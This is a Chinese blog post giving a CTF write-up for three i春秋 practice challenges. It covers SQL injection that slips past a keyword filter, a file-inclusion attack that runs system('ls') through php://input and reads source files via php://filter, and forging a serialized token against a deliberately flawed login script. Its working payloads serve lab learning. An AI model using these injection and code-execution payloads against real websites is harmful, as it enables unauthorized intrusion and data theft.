美文网首页
i春秋writeup

i春秋writeup

作者: BerL1n | 来源:发表于2018-09-13 20:36 被阅读0次

    1.sql

    题目地址
    http://baabb3c37fcb429b9a2a71dbe623a29ee49724ec66094043.game.ichunqiu.com

    爆破数据库名 ?id=1 unio<>n sele<>ct 1,database(),3
    爆表: ?id=1 union selec<>t 1,table_name,3 from information_schema.tables where table_schema='sqli'
    爆列: ?id=1 unio<>n sele<>ct 1,column_name,3 fro<>m information_schema.columns where table_name='info'
    爆值flag: ?id=1 union selec<>t 1,flAg_T5ZNdrm,3 from info

    2.include

    题目地址
    http://2c5ab5a1abe64d98a4030b4aab717039d05000ed41844554.game.ichunqiu.com

    看一下题目,完全没防护的文件包含:

    image

    直接构造:

    path=php://input

    post内容:<?php echo system('ls');?>

    看一下有哪些文件:

    图片.png 图片.png

    再利用?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

    读取文件内容,得到flag


    图片.png 图片.png

    3.Login

    https://www.ichunqiu.com/battalion?q=2725
    这题看到之后首先是sql注入的想法,不过很快破灭了,没有回显瞎注
    查看源代码后,发现

    图片.png

    猜测账号密码是test1,果然进去了
    进入member.php 页面 但是没用发现可用信息
    于是burp suite拦截包看一下


    图片.png

    现在response 中有可疑参数 show

    于是我们在请求段加入 show :1;


    图片.png

    发现返回了源码

    <!-- <?php
        include 'common.php';
        $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
        class db
        {
            public $where;
            function __wakeup()
            {
                if(!empty($this->where))
                {
                    $this->select($this->where);
                }
            }
    
            function select($where)
            {
                $sql = mysql_query('select * from user where '.$where);
                return @mysql_fetch_array($sql);
            }
        }
    
        if(isset($requset['token']))
        {
            $login = unserialize(gzuncompress(base64_decode($requset['token'])));
            $db = new db();
            $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
            if($login['user'] === 'ichunqiu')
            {
                echo $flag;
            }else if($row['pass'] !== $login['pass']){
                echo 'unserialize injection!!';
            }else{
                echo "(鈺�碘枴鈥�)鈺傅鈹粹攢鈹� ";
            }
        }else{
            header('Location: index.php?error=1');
        }
    
    ?> -->
    

    得知要得到flag需要满足 $login['user'] === 'ichunqiu'

    而user被login = unserialize(gzuncompress(base64_decode(requset['token'])));处理过

    我们重新编写一个程序解密即可


    图片.png
    图片.png

    将结果添加到cookie中的token中然后发过去即可得到flag


    图片.png

    函数说明:
    gzcompress() - 压缩字符串
    string gzcompress (string data [,intlevel= -1 [,int $encoding= ZLIB_ENCODING_DEFLATE ]])
    此函数使用ZLIB 数据格式压缩给定的字符串。
    参数
    data : 要压缩的数据。
    level : 压缩程度。可以给出0表示无压缩,最高压缩为9。如果使用-1,则使用zlib库的默认压缩,即6。
    encoding : 一个ZLIB_ENCODING_*常数。

    gzuncompress - 解压缩压缩字符串
    string gzuncompress (string data [,intlength= 0 ])
    此函数解压缩压缩字符串。
    data: 由gzcompress()压缩的数据。
    length: 要解码的最大数据长度。

    相关文章

      网友评论

          本文标题:i春秋writeup

          本文链接:https://www.haomeiwen.com/subject/zqxcmftx.html